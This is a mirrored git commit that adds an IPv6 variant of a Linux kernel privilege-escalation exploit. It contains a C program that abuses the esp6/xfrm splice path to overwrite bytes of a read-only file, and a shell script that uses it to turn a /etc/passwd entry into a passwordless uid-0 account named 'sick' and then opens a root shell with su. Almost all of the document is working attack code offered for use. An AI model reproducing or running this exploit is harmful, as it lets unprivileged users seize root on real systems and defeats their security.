mirror of
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
synced 2026-05-16 10:50:09 +00:00
ipv6: add esp6 dual
Same bug in esp6_input not covered by f4c50a4034. PoC in ipv6/. ESP packet padded to >= 40 bytes for the v6-only size gate.
This commit is contained in:
parent
d5ab58e091
commit
740f60f226
3 changed files with 342 additions and 0 deletions
183
ipv6/copyfail2v6.c
Normal file
183
ipv6/copyfail2v6.c
Normal file
|
|
@ -0,0 +1,183 @@
|
|||
// IPv6 dual of copyfail2. xfrm/esp6 MSG_SPLICE_PAGES no-COW path over ::1.
|
||||
// Run inside: aa-rootns -n -- ./copyfail2v6 <target-file> <byte-offset> <want-plain-byte>
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#ifndef UDP_ENCAP
|
||||
#define UDP_ENCAP 100
|
||||
#endif
|
||||
#ifndef UDP_ENCAP_ESPINUDP
|
||||
#define UDP_ENCAP_ESPINUDP 2
|
||||
#endif
|
||||
#include <openssl/evp.h>
|
||||
|
||||
#define SPI 0xdeadbeef
|
||||
#define ENC_PORT 4500
|
||||
#define IVLEN 8
|
||||
#define ICVLEN 16
|
||||
#define AES_KEYLEN 16
|
||||
#define SALT_LEN 4
|
||||
#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
|
||||
|
||||
#ifndef SPLICE_F_MORE
|
||||
#define SPLICE_F_MORE 0x4
|
||||
#endif
|
||||
|
||||
static const unsigned char AEAD_KEY[KEYTOTAL] = {
|
||||
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
|
||||
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
|
||||
0x10,0x11,0x12,0x13
|
||||
};
|
||||
|
||||
static void die(const char *m) { perror(m); exit(1); }
|
||||
|
||||
static int aes_gcm_keystream_byte(const unsigned char *key16,
|
||||
const unsigned char *nonce12,
|
||||
size_t off, unsigned char *out)
|
||||
{
|
||||
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
||||
if (!ctx) return -1;
|
||||
int len;
|
||||
if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad;
|
||||
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad;
|
||||
if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad;
|
||||
unsigned char zeros[256] = {0};
|
||||
size_t need = off + 1;
|
||||
unsigned char buf[256];
|
||||
while (need) {
|
||||
size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros);
|
||||
if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad;
|
||||
if (chunk == need) {
|
||||
*out = buf[chunk - 1];
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return 0;
|
||||
}
|
||||
need -= chunk;
|
||||
}
|
||||
bad:
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc < 4) {
|
||||
fprintf(stderr, "usage: %s <target-file> <byte-offset> <want-plain-byte>\n", argv[0]);
|
||||
return 2;
|
||||
}
|
||||
const char *target = argv[1];
|
||||
size_t tboff = strtoul(argv[2], 0, 0);
|
||||
unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0);
|
||||
|
||||
int tfd = open(target, O_RDONLY);
|
||||
if (tfd < 0) die("open target");
|
||||
unsigned char tbyte;
|
||||
if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte");
|
||||
unsigned char want_ks = tbyte ^ want_plain;
|
||||
printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n",
|
||||
target, tboff, tbyte, want_plain, want_ks);
|
||||
if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; }
|
||||
|
||||
unsigned char IV[IVLEN] = {0};
|
||||
unsigned char nonce[12];
|
||||
memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN);
|
||||
unsigned char ks_byte = 0;
|
||||
uint64_t ivv;
|
||||
for (ivv = 1; ivv < (1ULL<<32); ivv++) {
|
||||
memcpy(IV, &ivv, IVLEN);
|
||||
memcpy(nonce + SALT_LEN, IV, IVLEN);
|
||||
if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) {
|
||||
fprintf(stderr, "openssl error\n"); return 1;
|
||||
}
|
||||
if (ks_byte == want_ks) break;
|
||||
}
|
||||
if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; }
|
||||
printf("[+] IV found (after %lu trials): ", (unsigned long)ivv);
|
||||
for (int i=0;i<IVLEN;i++) printf("%02x", IV[i]);
|
||||
printf(" keystream[0]=0x%02x -> plain=0x%02x\n", ks_byte, tbyte ^ ks_byte);
|
||||
|
||||
char keyhex[KEYTOTAL*2 + 3] = "0x";
|
||||
for (int i=0;i<KEYTOTAL;i++) sprintf(keyhex + 2 + i*2, "%02x", AEAD_KEY[i]);
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"ip link set lo up ; "
|
||||
"ip -6 xfrm state flush ; "
|
||||
"ip -6 xfrm state add src ::1 dst ::1 proto esp spi 0x%08x "
|
||||
"encap espinudp %d %d 0.0.0.0 aead 'rfc4106(gcm(aes))' %s 128 "
|
||||
"replay-window 32",
|
||||
SPI, ENC_PORT, ENC_PORT, keyhex);
|
||||
if (system(cmd) != 0) { fprintf(stderr, "xfrm install failed\n"); return 1; }
|
||||
|
||||
int rs = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (rs < 0) die("recv sock");
|
||||
int encap = UDP_ENCAP_ESPINUDP;
|
||||
if (setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0)
|
||||
die("UDP_ENCAP setsockopt");
|
||||
struct sockaddr_in6 la = {.sin6_family = AF_INET6,
|
||||
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
|
||||
.sin6_port = htons(ENC_PORT)};
|
||||
if (bind(rs, (struct sockaddr*)&la, sizeof la) < 0) die("bind recv");
|
||||
|
||||
char atkpath[64];
|
||||
snprintf(atkpath, sizeof atkpath, "/tmp/cf2v6.atk.%d", (int)getpid());
|
||||
unlink(atkpath);
|
||||
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
|
||||
if (afd < 0) die("open atk");
|
||||
unsigned char esp_hdr[16];
|
||||
*(uint32_t*)(esp_hdr + 0) = htonl(SPI);
|
||||
*(uint32_t*)(esp_hdr + 4) = htonl(1);
|
||||
memcpy(esp_hdr + 8, IV, IVLEN);
|
||||
if (pwrite(afd, esp_hdr, 16, 0) != 16) die("pwrite esp_hdr");
|
||||
// v6 size gate: net/ipv6/xfrm6_input.c rejects skb->len < 48, so UDP payload >= 40
|
||||
unsigned char pad[16] = {0};
|
||||
if (pwrite(afd, pad, 16, 2048) != 16) die("pwrite pad");
|
||||
unsigned char icv[16] = {0};
|
||||
if (pwrite(afd, icv, 16, 4096) != 16) die("pwrite icv");
|
||||
fsync(afd);
|
||||
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
int afd2 = open(atkpath, O_RDONLY);
|
||||
if (afd2 < 0) die("reopen atk");
|
||||
unlink(atkpath);
|
||||
|
||||
int pfd[2];
|
||||
if (pipe(pfd) < 0) die("pipe");
|
||||
fcntl(pfd[0], F_SETPIPE_SZ, 1<<20);
|
||||
fcntl(pfd[1], F_SETPIPE_SZ, 1<<20);
|
||||
|
||||
loff_t off = 0;
|
||||
if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice esp_hdr");
|
||||
loff_t toff = tboff;
|
||||
if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1) die("splice target byte");
|
||||
loff_t poff = 2048;
|
||||
if (splice(afd2, &poff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice pad");
|
||||
loff_t ioff = 4096;
|
||||
if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice icv");
|
||||
|
||||
int ss = socket(AF_INET6, SOCK_DGRAM, 0);
|
||||
if (ss < 0) die("send sock");
|
||||
struct sockaddr_in6 da = la;
|
||||
if (connect(ss, (struct sockaddr*)&da, sizeof da) < 0) die("connect");
|
||||
ssize_t sent = splice(pfd[0], NULL, ss, NULL, 16+1+16+16, 0);
|
||||
printf("[+] splice->UDP sent=%zd errno=%d\n", sent, errno);
|
||||
|
||||
usleep(200*1000);
|
||||
unsigned char vbyte;
|
||||
if (pread(tfd, &vbyte, 1, tboff) != 1) die("verify pread");
|
||||
printf("[+] post byte at offset %zu = 0x%02x (was 0x%02x, wanted 0x%02x) match=%s\n",
|
||||
tboff, vbyte, tbyte, want_plain, vbyte == want_plain ? "YES" : "NO");
|
||||
return vbyte == want_plain ? 0 : 1;
|
||||
}
|
||||
152
ipv6/run.sh
Executable file
152
ipv6/run.sh
Executable file
|
|
@ -0,0 +1,152 @@
|
|||
#!/bin/bash
|
||||
# IPv6 dual of run.sh. Same flow, esp6 over ::1.
|
||||
#
|
||||
# Usage:
|
||||
# ./run.sh install + drop into root shell
|
||||
# ./run.sh --clean undo the install
|
||||
|
||||
set -u
|
||||
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
|
||||
ROOT=$(cd "$HERE/.." && pwd)
|
||||
STATE=/var/tmp/.cf2v6.state
|
||||
NEW_USER=sick
|
||||
PREFIX="${NEW_USER}::0:0:"
|
||||
SUFFIX=":/:/bin/bash"
|
||||
|
||||
red() { printf '\033[31m%s\033[0m\n' "$*" >&2; }
|
||||
green() { printf '\033[32m%s\033[0m\n' "$*"; }
|
||||
blue() { printf '\033[34m=== %s\033[0m\n' "$*"; }
|
||||
|
||||
setup_usns() {
|
||||
if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then
|
||||
USNS=(unshare -U -r -n --)
|
||||
return
|
||||
fi
|
||||
if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then
|
||||
USNS=("$AAR" -n --); return
|
||||
fi
|
||||
if command -v aa-rootns >/dev/null 2>&1; then
|
||||
USNS=("$(command -v aa-rootns)" -n --); return
|
||||
fi
|
||||
if [ ! -x "$ROOT/aa-rootns" ] && [ -f "$ROOT/aa-rootns.c" ]; then
|
||||
gcc -O2 -Wall "$ROOT/aa-rootns.c" -o "$ROOT/aa-rootns" \
|
||||
|| { red "build aa-rootns failed"; exit 1; }
|
||||
fi
|
||||
if [ -x "$ROOT/aa-rootns" ]; then
|
||||
USNS=("$ROOT/aa-rootns" -n --); return
|
||||
fi
|
||||
red "no usable userns harness"
|
||||
exit 1
|
||||
}
|
||||
|
||||
build_helper() {
|
||||
[ -x "$HERE/copyfail2v6" ] || gcc -O2 -Wall "$HERE/copyfail2v6.c" -o "$HERE/copyfail2v6" -lcrypto \
|
||||
|| { red "build copyfail2v6 failed (need libssl-dev)"; exit 1; }
|
||||
}
|
||||
|
||||
flip_range() {
|
||||
local line_off=$1 src=$2 dst=$3 len=${#2}
|
||||
local i o t off
|
||||
declare -ag FLIPS=()
|
||||
for ((i=0; i<len; i++)); do
|
||||
o="${src:$i:1}"
|
||||
t="${dst:$i:1}"
|
||||
if [ "$o" != "$t" ]; then
|
||||
FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
|
||||
fi
|
||||
done
|
||||
for f in "${FLIPS[@]}"; do
|
||||
off=${f%:*} ; t=${f#*:}
|
||||
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
|
||||
done
|
||||
}
|
||||
|
||||
if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then
|
||||
[ -r "$STATE" ] || { red "no state file at $STATE"; exit 1; }
|
||||
# shellcheck disable=SC1090
|
||||
. "$STATE"
|
||||
: "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}"
|
||||
VICTIM_LEN=${#VICTIM_LINE}
|
||||
|
||||
setup_usns
|
||||
build_helper
|
||||
|
||||
CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
|
||||
if [ "$CURRENT" = "$VICTIM_LINE" ]; then
|
||||
green "[+] /etc/passwd already matches original"
|
||||
rm -f "$STATE"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
declare -a CFLIPS=()
|
||||
for ((i=0; i<VICTIM_LEN; i++)); do
|
||||
o="${CURRENT:$i:1}"
|
||||
t="${VICTIM_LINE:$i:1}"
|
||||
[ "$o" != "$t" ] && CFLIPS+=("$((LINE_OFF + i)):$(printf '0x%02x' "'$t")")
|
||||
done
|
||||
|
||||
blue "Cleanup: revert ${#CFLIPS[@]} bytes at offset $LINE_OFF"
|
||||
for f in "${CFLIPS[@]}"; do
|
||||
off=${f%:*} ; t=${f#*:}
|
||||
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
|
||||
done
|
||||
|
||||
if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then
|
||||
red "sick line still present"
|
||||
exit 1
|
||||
fi
|
||||
rm -f "$STATE"
|
||||
green "[+] cleaned"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then
|
||||
sed -n '2,7p' "$0"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then
|
||||
green "[+] '$NEW_USER' already in /etc/passwd"
|
||||
exec su - "$NEW_USER"
|
||||
fi
|
||||
|
||||
setup_usns
|
||||
build_helper
|
||||
|
||||
getent passwd "$NEW_USER" >/dev/null \
|
||||
&& { red "'$NEW_USER' already exists with non-uid-0 entry"; exit 1; }
|
||||
|
||||
VICTIM_LINE=$(awk -F: '
|
||||
$NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" ||
|
||||
$NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" {
|
||||
if (length($0) > maxlen) { maxlen = length($0); maxline = $0 }
|
||||
}
|
||||
END { print maxline }
|
||||
' /etc/passwd)
|
||||
[ -n "$VICTIM_LINE" ] || { red "no victim line found"; exit 1; }
|
||||
VICTIM_NAME=${VICTIM_LINE%%:*}
|
||||
VICTIM_LEN=${#VICTIM_LINE}
|
||||
|
||||
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
|
||||
[ "$PAD_LEN" -ge 0 ] \
|
||||
|| { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; }
|
||||
PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X')
|
||||
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"
|
||||
|
||||
LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2)
|
||||
|
||||
umask 077
|
||||
{
|
||||
echo "LINE_OFF=$LINE_OFF"
|
||||
printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE"
|
||||
} > "$STATE"
|
||||
|
||||
blue "Stage 1: overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes)"
|
||||
flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE"
|
||||
|
||||
blue "Stage 2: verify"
|
||||
grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; }
|
||||
|
||||
blue "Stage 3: su - $NEW_USER"
|
||||
green "[i] state at $STATE; ./run.sh --clean to revert"
|
||||
exec su - "$NEW_USER"
|
||||
Loading…
Add table
Add a link
Reference in a new issue